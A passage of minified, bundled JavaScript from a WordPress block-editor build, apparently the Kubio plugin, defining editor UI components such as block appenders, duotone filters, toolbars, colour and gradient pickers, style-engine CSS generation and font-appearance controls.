t=n.substring(9),o=null==e?void 0:e.find((e=>{let{name:n}=e;return n===t}));if(o)return o}return s(e)}function i(e,t,n){const o=new r.a(e);return t&&o.remove("is-style-"+t.name),o.add("is-style-"+n.name),o.value}function a(e){return e&&0!==e.length?s(e)?e:[{name:"default",label:Object(l._x)("Default","block style","kubio"),isDefault:!0},...e]:[]}function s(e){return null==e?void 0:e.find((e=>e.isDefault))}},function(e,t,n){"use strict";function o(e,t){let n,o;return(arguments.length>2&&void 0!==arguments[2]?arguments[2]:["top","bottom","left","right"]).forEach((r=>{const l=function(e,t,n){const o="top"===n||"bottom"===n,{x:r,y:l}=e,c=o?r:l,i=o?l:r,a=o?t.left:t.top,s=o?t.right:t.bottom,u=t[n];let d;return d=c>=a&&c<=s?c:c<s?a:s,Math.sqrt((c-d)**2+(i-u)**2)}(e,t,r);(void 0===n||l<n)&&(n=l,o=r)})),[n,o]}function r(e,t){return t.left<=e.x&&t.right>=e.x&&t.top<=e.y&&t.bottom>=e.y}n.d(t,"a",(function(){return o})),n.d(t,"b",(function(){return r}))},,,,function(e,t,n){"use strict";n.d(t,"b",(function(){return c})),n.d(t,"c",(function(){return i})),n.d(t,"a",(function(){return a})),n.d(t,"d",(function(){return s}));var o=n(0),r=n(3),l=n(116);function c(e){let{selector:t,id:n}=e;const r=`\n${t} {\n\tfilter: url( #${n} );\n}\n`;return Object(o.createElement)("style",null,r)}function i(e){let{selector:t}=e;const n=`\n${t} {\n\tfilter: none;\n}\n`;return Object(o.createElement)("style",null,n)}function a(e){let{id:t,colors:n}=e;const c=Object(l.d)(n);return Object(o.createElement)(r.SVG,{xmlnsXlink:"http://www.w3.org/1999/xlink",viewBox:"0 0 0 0",width:"0",height:"0",focusable:"false",role:"none",style:{visibility:"hidden",position:"absolute",left:"-9999px",overflow:"hidden"}},Object(o.createElement)("defs",null,Object(o.createElement)("filter",{id:t},Object(o.createElement)("feColorMatrix",{colorInterpolationFilters:"sRGB",type:"matrix",values:" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 "}),Object(o.createElement)("feComponentTransfer",{colorInterpolationFilters:"sRGB"},Object(o.createElement)("feFuncR",{type:"table",tableValues:c.r.join(" ")}),Object(o.createElement)("feFuncG",{type:"table",tableValues:c.g.join(" ")}),Object(o.createElement)("feFuncB",{type:"table",tableValues:c.b.join(" ")}),Object(o.createElement)("feFuncA",{type:"table",tableValues:c.a.join(" ")})),Object(o.createElement)("feComposite",{in2:"SourceGraphic",operator:"in"}))))}function s(e){let{preset:t}=e;return Object(o.createElement)(a,{id:`wp-duotone-${t.slug}`,colors:t.colors})}},function(e,t,n){"use strict";n.d(t,"a",(function(){return m}));var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(1),a=n(120),s=n(315),u=n(48),d=n.n(u),b=n(90);function p(e,t){let{rootClientId:n,className:r,onFocus:u,tabIndex:d}=e;const p=Object(o.useRef)();t=t||p;const m=Object(o.useCallback)((()=>{var e,n,o;const r=null===(e=t.current)||void 0===e||null===(n=e.getBoundingClientRect)||void 0===n?void 0:n.call(e);return{...(null==r?void 0:r.toJSON())||{},ownerDocument:null===(o=t.current)||void 0===o?void 0:o.ownerDocument}}),[]);return Object(o.createElement)(b.a,{position:"bottom center",rootClientId:n,__experimentalIsQuick:!0,getAnchorRect:m,renderToggle:e=>{let n,{onToggle:b,disabled:p,isOpen:m,blockTitle:f,hasSingleBlockType:g}=e;n=g?Object(i.sprintf)(// translators: %s: the name of the block when there is only one
Object(i._x)("Add %s","directly add the only allowed block","kubio"),f):Object(i._x)("Add block","Generic label for block inserter button","kubio");const h=!g;let v=Object(o.createElement)(c.Button,{ref:t,onFocus:u,tabIndex:d,className:l()(r,"block-editor-button-block-appender"),onClick:b,"aria-haspopup":h?"true":void 0,"aria-expanded":h?m:void 0,disabled:p,label:n},!g&&Object(o.createElement)(c.VisuallyHidden,{as:"span"},n),Object(o.createElement)(a.a,{icon:s.a}));return(h||g)&&(v=Object(o.createElement)(c.Tooltip,{text:n},v)),v},isAppender:!0})}const m=Object(o.forwardRef)(((e,t)=>(d()("wp.blockEditor.ButtonBlockerAppender",{alternative:"wp.blockEditor.ButtonBlockAppender",since:"5.9"}),p(e,t))));t.b=Object(o.forwardRef)(p)},function(e,t,n){"use strict";n.d(t,"b",(function(){return a})),n.d(t,"a",(function(){return s}));var o=n(8),r=n(0),l=n(7),c=n(11),i=n(14);function a(){const{getSettings:e,hasSelectedBlock:t,hasMultiSelection:n}=Object(l.useSelect)(i.a),{clearSelectedBlock:o}=Object(l.useDispatch)(i.a),{clearBlockSelection:r}=e();return Object(c.useRefEffect)((e=>{if(r)return e.addEventListener("mousedown",l),()=>{e.removeEventListener("mousedown",l)};function l(r){(t()||n())&&r.target===e&&o()}}),[t,n,o,r])}function s(e){return Object(r.createElement)("div",Object(o.a)({ref:a()},e))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return r}));var o=n(94);function r(e){let{clientId:t,maximumLength:n,context:r}=e;return Object(o.a)({clientId:t,maximumLength:n,context:r})}},,,,function(e,t,n){"use strict";n.d(t,"a",(function(){return b}));var o=n(8),r=n(0),l=n(7),c=n(97),i=n(14),a=n(181),s=n(251),u=n(11),d=n(200);const b=Object(u.createHigherOrderComponent)((e=>Object(l.withRegistry)((t=>{let{useSubRegistry:n=!0,registry:c,...a}=t;if(!n)return Object(r.createElement)(e,Object(o.a)({registry:c},a));const[s,u]=Object(r.useState)(null);return Object(r.useEffect)((()=>{const e=Object(l.createRegistry)({},c);e.registerStore(d.a,i.b),u(e)}),[c]),s?Object(r.createElement)(l.RegistryProvider,{value:s},Object(r.createElement)(e,Object(o.a)({registry:s},a))):null}))),"withRegistryProvider")((e=>{const{children:t,settings:n,stripExperimentalSettings:o=!1}=e,{__experimentalUpdateSettings:u,updateSettings:d}=Object(c.c)(Object(l.useDispatch)(i.a));return Object(r.useEffect)((()=>{var e;null===(e=u||d)||void 0===e||e({...n,__internalIsInitialized:!0},o)}),[n]),Object(s.a)(e),Object(r.createElement)(a.b,null,t)}));t.b=e=>Object(r.createElement)(b,Object(o.a)({},e,{stripExperimentalSettings:!0}),e.children)},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(3),a=n(11),s=n(71),u=n(148);const d=Number.MAX_SAFE_INTEGER;t.a=Object(r.forwardRef)((function(e,t){let{clientId:n,bottomClientId:l,children:b,__unstableRefreshSize:p,__unstableCoverTarget:m=!1,__unstablePopoverSlot:f,__unstableContentRef:g,shift:h=!0,...v}=e;const O=Object(s.a)(n),k=Object(s.a)(null!=l?l:n),j=Object(a.useMergeRefs)([t,Object(u.a)(g)]),[_,y]=Object(r.useReducer)((e=>(e+1)%d),0);Object(r.useLayoutEffect)((()=>{if(!O)return;const e=new window.MutationObserver(y);return e.observe(O,{attributes:!0}),()=>{e.disconnect()}}),[O]);const E=Object(r.useMemo)((()=>_<0||!O||k!==O?{}:{position:"absolute",width:O.offsetWidth,height:O.offsetHeight}),[O,k,p,_]),S=Object(r.useMemo)((()=>{if(!(_<0||!O||l&&!k))return{getBoundingClientRect(){var e,t,n,o;const r=O.getBoundingClientRect(),l=null==k?void 0:k.getBoundingClientRect(),c=Math.min(r.left,null!==(e=null==l?void 0:l.left)&&void 0!==e?e:1/0),i=Math.min(r.top,null!==(t=null==l?void 0:l.top)&&void 0!==t?t:1/0),a=Math.max(r.right,null!==(n=l.right)&&void 0!==n?n:-1/0)-c,s=Math.max(r.bottom,null!==(o=l.bottom)&&void 0!==o?o:-1/0)-i;return new window.DOMRect(c,i,a,s)},ownerDocument:O.ownerDocument}}),[l,k,O,_]);return!O||l&&!k?null:Object(r.createElement)(i.Popover,Object(o.a)({ref:j,animate:!1,anchorRef:O,position:"top right left",focusOnMount:!1,anchor:S,__unstableSlotName:f||null,placement:"top-start",resize:!1,flip:!1,shift:h},v,{className:c()("block-editor-block-popover",v.className),variant:"unstyled"}),m&&Object(r.createElement)("div",{style:E},b),!m&&b)}))},function(e,t,n){"use strict";var o=n(11);t.a=function(e){return Object(o.useRefEffect)((t=>{if(!e)return;function n(t){const{deltaX:n,deltaY:o}=t;e.current.scrollBy(n,o)}const o={passive:!0};return t.addEventListener("wheel",n,o),()=>{t.removeEventListener("wheel",n,o)}}),[e])}},function(e,t){!function(){e.exports=this.wp.tokenList}()},,function(e,t,n){"use strict";n.d(t,"a",(function(){return O})),n.d(t,"b",(function(){return k}));var o=n(2);const r="var:",l="|",c="--";function i(e,t,n,r){const l=Object(o.get)(e,n);return l?[{selector:null==t?void 0:t.selector,key:r,value:s(l)}]:[]}function a(e,t,n,r){let l=arguments.length>4&&void 0!==arguments[4]?arguments[4]:["top","right","bottom","left"];const c=Object(o.get)(e,n);if(!c)return[];const i=[];if("string"==typeof c)i.push({selector:null==t?void 0:t.selector,key:r.default,value:c});else{const e=l.reduce(((e,n)=>{const l=s(Object(o.get)(c,[n]));return l&&e.push({selector:null==t?void 0:t.selector,key:null==r?void 0:r.individual.replace("%s",u(n)),value:l}),e}),[]);i.push(...e)}return i}function s(e){return"string"==typeof e&&e.startsWith(r)?`var(--wp--${e.slice(r.length).split(l).map((e=>Object(o.kebabCase)(e))).join(c)})`:e}function u(e){const[t,...n]=e;return t.toUpperCase()+n.join("")}function d(e){return(t,n)=>i(t,n,e,function(e){const[t,...n]=e;return t.toLowerCase()+n.map(u).join("")}(e))}function b(e){return(t,n)=>["color","style","width"].flatMap((o=>d(["border",e,o])(t,n)))}const p={name:"radius",generate:(e,t)=>a(e,t,["border","radius"],{default:"borderRadius",individual:"border%sRadius"},["topLeft","topRight","bottomLeft","bottomRight"])},m={name:"color",generate:function(e,t){return i(e,t,arguments.length>2&&void 0!==arguments[2]?arguments[2]:["outline","color"],arguments.length>3&&void 0!==arguments[3]?arguments[3]:"outlineColor")}},f={name:"offset",generate:function(e,t){return i(e,t,arguments.length>2&&void 0!==arguments[2]?arguments[2]:["outline","offset"],arguments.length>3&&void 0!==arguments[3]?arguments[3]:"outlineOffset")}},g={name:"style",generate:function(e,t){return i(e,t,arguments.length>2&&void 0!==arguments[2]?arguments[2]:["outline","style"],arguments.length>3&&void 0!==arguments[3]?arguments[3]:"outlineStyle")}},h={name:"width",generate:function(e,t){return i(e,t,arguments.length>2&&void 0!==arguments[2]?arguments[2]:["outline","width"],arguments.length>3&&void 0!==arguments[3]?arguments[3]:"outlineWidth")}},v=[{name:"color",generate:d(["border","color"])},{name:"style",generate:d(["border","style"])},{name:"width",generate:d(["border","width"])},p,{name:"borderTop",generate:b("top")},{name:"borderRight",generate:b("right")},{name:"borderBottom",generate:b("bottom")},{name:"borderLeft",generate:b("left")},{name:"text",generate:(e,t)=>i(e,t,["color","text"],"color")},{name:"gradient",generate:(e,t)=>i(e,t,["color","gradient"],"background")},{name:"background",generate:(e,t)=>i(e,t,["color","background"],"backgroundColor")},{name:"minHeight",generate:(e,t)=>i(e,t,["dimensions","minHeight"],"minHeight")},m,g,f,h,{name:"margin",generate:(e,t)=>a(e,t,["spacing","margin"],{default:"margin",individual:"margin%s"})},{name:"padding",generate:(e,t)=>a(e,t,["spacing","padding"],{default:"padding",individual:"padding%s"})},{name:"fontFamily",generate:(e,t)=>i(e,t,["typography","fontFamily"],"fontFamily")},{name:"fontSize",generate:(e,t)=>i(e,t,["typography","fontSize"],"fontSize")},{name:"fontStyle",generate:(e,t)=>i(e,t,["typography","fontStyle"],"fontStyle")},{name:"fontWeight",generate:(e,t)=>i(e,t,["typography","fontWeight"],"fontWeight")},{name:"letterSpacing",generate:(e,t)=>i(e,t,["typography","letterSpacing"],"letterSpacing")},{name:"lineHeight",generate:(e,t)=>i(e,t,["typography","lineHeight"],"lineHeight")},{name:"textColumns",generate:(e,t)=>i(e,t,["typography","textColumns"],"columnCount")},{name:"textDecoration",generate:(e,t)=>i(e,t,["typography","textDecoration"],"textDecoration")},{name:"textTransform",generate:(e,t)=>i(e,t,["typography","textTransform"],"textTransform")},{name:"shadow",generate:(e,t)=>i(e,t,["shadow"],"boxShadow")}];function O(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=k(e,t);if(null==t||!t.selector){const e=[];return n.forEach((t=>{e.push(`${Object(o.kebabCase)(t.key)}: ${t.value};`)})),e.join(" ")}const r=Object(o.groupBy)(n,"selector");return Object.keys(r).reduce(((e,t)=>(e.push(`${t} { ${r[t].map((e=>`${Object(o.kebabCase)(e.key)}: ${e.value};`)).join(" ")} }`),e)),[]).join("\n")}function k(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=[];return v.forEach((o=>{"function"==typeof o.generate&&n.push(...o.generate(e,t))})),n}},function(e,t,n){"use strict";n.d(t,"a",(function(){return s})),n.d(t,"c",(function(){return u})),n.d(t,"b",(function(){return d}));var o=n(0),r=n(3),l=Object(o.createContext)(),c=n(8),i=n(1),a=n(63),s=Object(o.forwardRef)((function(e,t){const[n,r]=Object(o.useState)(!1);return Object(o.useEffect)((()=>{n&&Object(a.speak)(Object(i.__)("Use left and right arrow keys to move through blocks","kubio"))}),[n]),Object(o.createElement)("div",Object(c.a)({ref:t,role:"listbox","aria-orientation":"horizontal",onFocus:()=>{r(!0)},onBlur:e=>{!e.currentTarget.contains(e.relatedTarget)&&r(!1)}},e))})),u=Object(o.forwardRef)((function(e,t){const n=Object(o.useContext)(l);return Object(o.createElement)(r.__unstableCompositeGroup,Object(c.a)({state:n,role:"presentation",ref:t},e))})),d=Object(o.forwardRef)((function(e,t){let{isFirst:n,as:i,children:a,...s}=e;const u=Object(o.useContext)(l);return Object(o.createElement)(r.__unstableCompositeItem,Object(c.a)({ref:t,state:u,role:"option",focusable:!0},s),(e=>{const t={...e,tabIndex:n?0:e.tabIndex};return i?Object(o.createElement)(i,t,a):"function"==typeof a?a(t):Object(o.createElement)(r.Button,t,a)}))}));t.d=function(e){let{children:t}=e;const n=Object(r.__unstableUseCompositeState)({shift:!0,wrap:"horizontal"});return Object(o.createElement)(l.Provider,{value:n},t)}},,function(e,t){var n,o,r=e.exports={};function l(){throw new Error("setTimeout has not been defined")}function c(){throw new Error("clearTimeout has not been defined")}function i(e){if(n===setTimeout)return setTimeout(e,0);if((n===l||!n)&&setTimeout)return n=setTimeout,setTimeout(e,0);try{return n(e,0)}catch(t){try{return n.call(null,e,0)}catch(t){return n.call(this,e,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:l}catch(e){n=l}try{o="function"==typeof clearTimeout?clearTimeout:c}catch(e){o=c}}();var a,s=[],u=!1,d=-1;function b(){u&&a&&(u=!1,a.length?s=a.concat(s):d=-1,s.length&&p())}function p(){if(!u){var e=i(b);u=!0;for(var t=s.length;t;){for(a=s,s=[];++d<t;)a&&a[d].run();d=-1,t=s.length}a=null,u=!1,function(e){if(o===clearTimeout)return clearTimeout(e);if((o===c||!o)&&clearTimeout)return o=clearTimeout,clearTimeout(e);try{return o(e)}catch(t){try{return o.call(null,e)}catch(t){return o.call(this,e)}}}(e)}}function m(e,t){this.fun=e,this.array=t}function f(){}r.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];s.push(new m(e,t)),1!==s.length||u||i(p)},m.prototype.run=function(){this.fun.apply(null,this.array)},r.title="browser",r.browser=!0,r.env={},r.argv=[],r.version="",r.versions={},r.on=f,r.addListener=f,r.once=f,r.off=f,r.removeListener=f,r.removeAllListeners=f,r.emit=f,r.prependListener=f,r.prependOnceListener=f,r.listeners=function(e){return[]},r.binding=function(e){throw new Error("process.binding is not supported")},r.cwd=function(){return"/"},r.chdir=function(e){throw new Error("process.chdir is not supported")},r.umask=function(){return 0}},,,,,function(e,t,n){"use strict";n.d(t,"a",(function(){return l}));var o=n(0);const r=Object(o.createContext)({});function l(e){let{value:t,children:n}=e;const l=Object(o.useContext)(r),c=Object(o.useMemo)((()=>({...l,...t})),[l,t]);return Object(o.createElement)(r.Provider,{value:c,children:n})}t.b=r},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));const o="1600px",r="768px",l=1,c=.75,i="14px";function a(e){let{minimumFontSize:t,maximumFontSize:n,fontSize:a,minimumViewPortWidth:d=r,maximumViewPortWidth:b=o,scaleFactor:p=l,minimumFontSizeFactor:m=c,minimumFontSizeLimit:f}=e;if(f=s(f)?f:i,a){const e=s(a);if(null==e||!e.unit)return null;const o=s(f,{coerceTo:e.unit});if(null!=o&&o.value&&!t&&!n&&(null==e?void 0:e.value)<=(null==o?void 0:o.value))return null;if(n||(n=`${e.value}${e.unit}`),!t){const n=u(e.value*m,3);t=null!=o&&o.value&&n<(null==o?void 0:o.value)?`${o.value}${o.unit}`:`${n}${e.unit}`}}const g=s(t),h=(null==g?void 0:g.unit)||"rem",v=s(n,{coerceTo:h});if(!g||!v)return null;const O=s(t,{coerceTo:"rem"}),k=s(b,{coerceTo:h}),j=s(d,{coerceTo:h});if(!k||!j||!O)return null;const _=u(j.value/100,3),y=u(_,3)+h,E=u(((v.value-g.value)/(k.value-j.value)*100||1)*p,3);return`clamp(${t}, ${O.value}${O.unit} + ((1vw - ${y}) * ${E}), ${n})`}function s(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if("string"!=typeof e&&"number"!=typeof e)return null;isFinite(e)&&(e=`${e}px`);const{coerceTo:n,rootSizeValue:o,acceptableUnits:r}={coerceTo:"",rootSizeValue:16,acceptableUnits:["rem","px","em"],...t},l=null==r?void 0:r.join("|"),c=new RegExp(`^(\\d*\\.?\\d+)(${l}){1,1}$`),i=e.match(c);if(!i||i.length<3)return null;let[,a,s]=i,d=parseFloat(a);return"px"!==n||"em"!==s&&"rem"!==s||(d*=o,s=n),"px"!==s||"em"!==n&&"rem"!==n||(d/=o,s=n),"em"!==n&&"rem"!==n||"em"!==s&&"rem"!==s||(s=n),{value:u(d,3),unit:s}}function u(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3;const n=Math.pow(10,t);return Number.isFinite(e)?parseFloat(Math.round(e*n)/n):void 0}},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(1),a=n(373);t.a=function(e){let{className:t,actions:n,children:r,secondaryActions:s}=e;return Object(o.createElement)("div",{style:{display:"contents",all:"initial"}},Object(o.createElement)("div",{className:l()(t,"block-editor-warning")},Object(o.createElement)("div",{className:"block-editor-warning__contents"},Object(o.createElement)("p",{className:"block-editor-warning__message"},r),(o.Children.count(n)>0||s)&&Object(o.createElement)("div",{className:"block-editor-warning__actions"},o.Children.count(n)>0&&o.Children.map(n,((e,t)=>Object(o.createElement)("span",{key:t,className:"block-editor-warning__action"},e))),s&&Object(o.createElement)(c.DropdownMenu,{className:"block-editor-warning__secondary",icon:a.a,label:Object(i.__)("More options","kubio"),popoverProps:{position:"bottom left",className:"block-editor-warning__dropdown"},noIcons:!0},(()=>Object(o.createElement)(c.MenuGroup,null,s.map(((e,t)=>Object(o.createElement)(c.MenuItem,{onClick:e.onClick,key:t},e.title))))))))))}},function(e,t,n){"use strict";var o=n(0),r=n(13),l=n.n(r),c=n(1),i=n(11),a=n(100),s=n(7),u=n(27),d=n(90),b=n(14);t.a=Object(i.compose)(Object(s.withSelect)(((e,t)=>{const{getBlockCount:n,getSettings:o,getTemplateLock:r}=e(b.a),l=!n(t.rootClientId),{bodyPlaceholder:c}=o();return{showPrompt:l,isLocked:!!r(t.rootClientId),placeholder:c}})),Object(s.withDispatch)(((e,t)=>{const{insertDefaultBlock:n,startTyping:o}=e(b.a);return{onAppend(){const{rootClientId:e}=t;n(void 0,e),o()}}})))((function(e){let{isLocked:t,onAppend:n,showPrompt:r,placeholder:i,rootClientId:s}=e;if(t)return null;const b=Object(a.decodeEntities)(i)||Object(c.__)("Type / to choose a block","kubio");return Object(o.createElement)("div",{"data-root-client-id":s||"",className:l()("block-editor-default-block-appender",{"has-visible-prompt":r})},Object(o.createElement)("p",{tabIndex:"0",role:"button","aria-label":Object(c.__)("Add default block","kubio"),className:"block-editor-default-block-appender__content",onKeyDown:e=>{u.ENTER!==e.keyCode&&u.SPACE!==e.keyCode||n()},onClick:()=>n(),onFocus:()=>{r&&n()}},r?b:"\ufeff"),Object(o.createElement)(d.a,{rootClientId:s,position:"bottom right",isAppender:!0,__experimentalIsQuick:!0}))}))},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(250),a=n(3),s=n(7),u=n(1),d=n(132),b=n(126),p=n(14);t.a=function(e){let{clientIds:t,hideDragHandle:n}=e;const{canMove:l,rootClientId:m,isFirst:f,isLast:g,orientation:h}=Object(s.useSelect)((e=>{var n;const{getBlockIndex:o,getBlockListSettings:r,canMoveBlocks:l,getBlockOrder:c,getBlockRootClientId:i}=e(p.a),a=Array.isArray(t)?t:[t],s=a[0],u=i(s),d=o(s),b=o(a[a.length-1]),m=c(u);return{canMove:l(t,u),rootClientId:u,isFirst:0===d,isLast:b===m.length-1,orientation:null===(n=r(u))||void 0===n?void 0:n.orientation}}),[t]);if(!l||f&&g&&!m)return null;const v=Object(u.__)("Drag","kubio");return Object(r.createElement)(a.ToolbarGroup,{className:c()("block-editor-block-mover",{"is-horizontal":"horizontal"===h})},!n&&Object(r.createElement)(d.a,{clientIds:t},(e=>Object(r.createElement)(a.Button,Object(o.a)({icon:i.a,className:"block-editor-block-mover__drag-handle","aria-hidden":"true",label:v,tabIndex:"-1"},e)))),Object(r.createElement)("div",{className:"block-editor-block-mover__move-button-container"},Object(r.createElement)(a.ToolbarItem,null,(e=>Object(r.createElement)(b.b,Object(o.a)({clientIds:t},e)))),Object(r.createElement)(a.ToolbarItem,null,(e=>Object(r.createElement)(b.a,Object(o.a)({clientIds:t},e))))))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(3),c=n(48),i=n.n(c),a=n(42),s=n(72);function u(e){return Array.from(e.querySelectorAll("[data-toolbar-item]"))}t.a=function(e){let{children:t,focusOnMount:n,__experimentalInitialIndex:c,__experimentalOnIndexChange:d,...b}=e;const p=Object(r.useRef)(),m=function(e){const[t,n]=Object(r.useState)(!0),o=Object(r.useCallback)((()=>{const t=!a.focus.tabbable.find(e.current).some((e=>!("toolbarItem"in e.dataset)));t||i()("Using custom components as toolbar controls",{since:"5.6",alternative:"ToolbarItem, ToolbarButton or ToolbarDropdownMenu components",link:"https://developer.wordpress.org/block-editor/components/toolbar-button/#inside-blockcontrols"}),n(t)}),[]);return Object(r.useLayoutEffect)((()=>{const t=new window.MutationObserver(o);return t.observe(e.current,{childList:!0,subtree:!0}),()=>t.disconnect()}),[t]),t}(p);return function(e,t,n,o,l){const[c]=Object(r.useState)(t),[i]=Object(r.useState)(o),d=Object(r.useCallback)((()=>{!function(e){const[t]=a.focus.tabbable.find(e);t&&t.focus({preventScroll:!0})}(e.current)}),[]);Object(s.useShortcut)("core/block-editor/focus-toolbar",d),Object(r.useEffect)((()=>{c&&d()}),[n,c,d]),Object(r.useEffect)((()=>{let t=0;return i&&!c&&(t=window.requestAnimationFrame((()=>{const t=u(e.current),n=i||0;var o;t[n]&&(o=e.current).contains(o.ownerDocument.activeElement)&&t[n].focus({preventScroll:!0})}))),()=>{if(window.cancelAnimationFrame(t),!l||!e.current)return;const n=u(e.current).findIndex((e=>0===e.tabIndex));l(n)}}),[i,c])}(p,n,m,c,d),m?Object(r.createElement)(l.Toolbar,Object(o.a)({label:b["aria-label"],ref:p},b),t):Object(r.createElement)(l.NavigableMenu,Object(o.a)({orientation:"horizontal",role:"toolbar",ref:p},b),t)}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(2),a=n(3),s=n(30);const u=["colors","disableCustomColors","gradients","disableCustomGradients"],d={name:"color",title:"Solid",value:"color"},b={name:"gradient",title:"Gradient",value:"gradient"},p=[d,b];function m(e){let{colors:t,gradients:n,disableCustomColors:o,disableCustomGradients:l,__experimentalIsRenderedInSidebar:s,className:u,label:m,onColorChange:f,onGradientChange:g,colorValue:h,gradientValue:v,clearable:O,showTitle:k=!0,enableAlpha:j}=e;const _=f&&(!Object(i.isEmpty)(t)||!o),y=g&&(!Object(i.isEmpty)(n)||!l);if(!_&&!y)return null;const E={[d.value]:Object(r.createElement)(a.ColorPalette,{value:h,onChange:y?e=>{f(e),g()}:f,colors:t,disableCustomColors:o,__experimentalIsRenderedInSidebar:s,clearable:O,enableAlpha:j}),[b.value]:Object(r.createElement)(a.GradientPicker,{__nextHasNoMargin:!0,value:v,onChange:_?e=>{g(e),f()}:g,gradients:n,disableCustomGradients:l,__experimentalIsRenderedInSidebar:s,clearable:O})},S=e=>Object(r.createElement)("div",{className:"block-editor-color-gradient-control__panel"},E[e]);return Object(r.createElement)(a.BaseControl,{__nextHasNoMarginBottom:!0,className:c()("block-editor-color-gradient-control",u)},Object(r.createElement)("fieldset",{className:"block-editor-color-gradient-control__fieldset"},Object(r.createElement)(a.__experimentalVStack,{spacing:1},k&&Object(r.createElement)("legend",null,Object(r.createElement)("div",{className:"block-editor-color-gradient-control__color-indicator"},Object(r.createElement)(a.BaseControl.VisualLabel,null,m))),_&&y&&Object(r.createElement)(a.TabPanel,{className:"block-editor-color-gradient-control__tabs",tabs:p,initialTabName:v?b.value:!!_&&d.value},(e=>S(e.value))),!y&&S(d.value),!_&&S(b.value))))}function f(e){const t={};return t.colors=Object(s.a)("color.palette"),t.gradients=Object(s.a)("color.gradients"),t.disableCustomColors=!Object(s.a)("color.custom"),t.disableCustomGradients=!Object(s.a)("color.customGradient"),Object(r.createElement)(m,Object(o.a)({},t,e))}t.a=function(e){return u.every((t=>e.hasOwnProperty(t)))?Object(r.createElement)(m,e):Object(r.createElement)(f,e)}},function(e,t,n){"use strict";n.d(t,"b",(function(){return s})),n.d(t,"a",(function(){return u}));var o=n(8),r=n(0),l=n(3),c=n(1);const i=[{name:Object(c._x)("Regular","font style","kubio"),value:"normal"},{name:Object(c._x)("Italic","font style","kubio"),value:"italic"}],a=[{name:Object(c._x)("Thin","font weight","kubio"),value:"100"},{name:Object(c._x)("Extra Light","font weight","kubio"),value:"200"},{name:Object(c._x)("Light","font weight","kubio"),value:"300"},{name:Object(c._x)("Regular","font weight","kubio"),value:"400"},{name:Object(c._x)("Medium","font weight","kubio"),value:"500"},{name:Object(c._x)("Semi Bold","font weight","kubio"),value:"600"},{name:Object(c._x)("Bold","font weight","kubio"),value:"700"},{name:Object(c._x)("Extra Bold","font weight","kubio"),value:"800"},{name:Object(c._x)("Black","font weight","kubio"),value:"900"}],s=(e,t)=>e?t?Object(c.__)("Appearance","kubio"):Object(c.__)("Font style","kubio"):Object(c.__)("Font weight","kubio");function u(e){const{onChange:t,hasFontStyles:n=!0,hasFontWeights:u=!0,value:{fontStyle:d,fontWeight:b},...p}=e,m=n||u,f=s(n,u),g={key:"default",name:Object(c.__)("Default","kubio"),style:{fontStyle:void 0,fontWeight:void 0}},h=Object(r.useMemo)((()=>n&&u?(()=>{const e=[g];return i.forEach((t=>{let{name:n,value:o}=t;a.forEach((t=>{let{name:r,value:l}=t;const i="normal"===o?r:Object(c.sprintf)(/* translators: 1: Font weight name. 2: Font style name. */Object(c.__)("%1$s %2$s","kubio"),r,n);e.push({key:`${o}-${l}`,name:i,style:{fontStyle:o,fontWeight:l}})}))})),e})():n?(()=>{const e=[g];return i.forEach((t=>{let{name:n,value:o}=t;e.push({key:o,name:n,style:{fontStyle:o,fontWeight:void 0}})})),e})():(()=>{const e=[g];return a.forEach((t=>{let{name:n,value:o}=t;e.push({key:o,name:n,style:{fontStyle:void 0,fontWeight:o}})})),e})()),[e.options]),v=h.find((e=>e.style.fontStyle===d&&e.style.fontWeight===b))||h[0];return m&&Object(r.createElement)(l.CustomSelectControl,Object(o.a)({},p,{className:"components-font-appearance-control",label:f,describedBy:v?n?u?Object(c.sprintf)(// translators: %s: Currently selected font appearance.
Object(c.__)("Currently selected font appearance: %s","kubio"),v.name):Object(c.sprintf)(// translators: %s: Currently selected font style.
Object(c.__)("Currently selected font style: %s","kubio"),v.name):Object(c.sprintf)(// translators: %s: Currently selected font weight.
Object(c.__)("Currently selected font weight: %s","kubio"),v.name):Object(c.__)("No selected font appearance","kubio"),options:h,value:v,onChange:e=>{let{selectedItem:n}=e;return t(n.style)},__nextUnconstrainedWidth:!0}))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return b}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(3),a=n(165);const s=e=>{let{setting:t,children:n,panelId:l,...c}=e;return Object(r.createElement)(i.__experimentalToolsPanelItem,Object(o.a)({hasValue:()=>!!t.colorValue||!!t.gradientValue,label:t.label,onDeselect:()=>{t.colorValue?t.onColorChange():t.gradientValue&&t.onGradientChange()},isShownByDefault:void 0===t.isShownByDefault||t.isShownByDefault},c,{className:"block-editor-tools-panel-color-gradient-settings__item",panelId:l,resetAllFilter:t.resetAllFilter}),n)},u=e=>{let{colorValue:t,label:n}=e;return Object(r.createElement)(i.__experimentalHStack,{justify:"flex-start"},Object(r.createElement)(i.ColorIndicator,{className:"block-editor-panel-color-gradient-settings__color-indicator",colorValue:t}),Object(r.createElement)(i.FlexItem,{className:"block-editor-panel-color-gradient-settings__color-name",title:n},n))},d=e=>t=>{let{onToggle:n,isOpen:o}=t;const{colorValue:l,label:a}=e,s={onClick:n,className:c()("block-editor-panel-color-gradient-settings__dropdown",{"is-open":o}),"aria-expanded":o};return Object(r.createElement)(i.Button,s,Object(r.createElement)(u,{colorValue:l,label:a}))};function b(e){let t,{colors:n,disableCustomColors:l,disableCustomGradients:c,enableAlpha:u,gradients:b,settings:p,__experimentalIsRenderedInSidebar:m,...f}=e;return 